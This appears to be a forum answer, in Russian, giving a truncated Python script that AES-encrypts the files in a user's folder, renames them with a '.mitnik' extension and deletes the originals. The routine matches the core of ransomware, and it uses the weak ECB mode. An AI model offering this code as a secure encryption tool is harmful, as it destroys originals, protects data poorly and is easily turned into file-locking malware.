Решение
Encrypt:
Python:
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes
def encrypt_file(file_path, key):
cipher = AES.new(key, AES.MODE_ECB)
with open(file_path, 'rb') as file:
plaintext = file.read()
ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
with open(file_path + '.mitnik', 'wb') as file:
file.write(ciphertext)
os.remove(file_path)
folder_path = r'c:\Users\relic\Downloads\Primer'
key_path = r'c:\Users\relic\Downloads\key.txt'
if not os.path.exists(key_path):
key = get_random_bytes(32)
os.makedirs(os.path.dirname(key_path), exist_ok=True)
with open(key_path, 'wb') as file:
file.write(key)
else...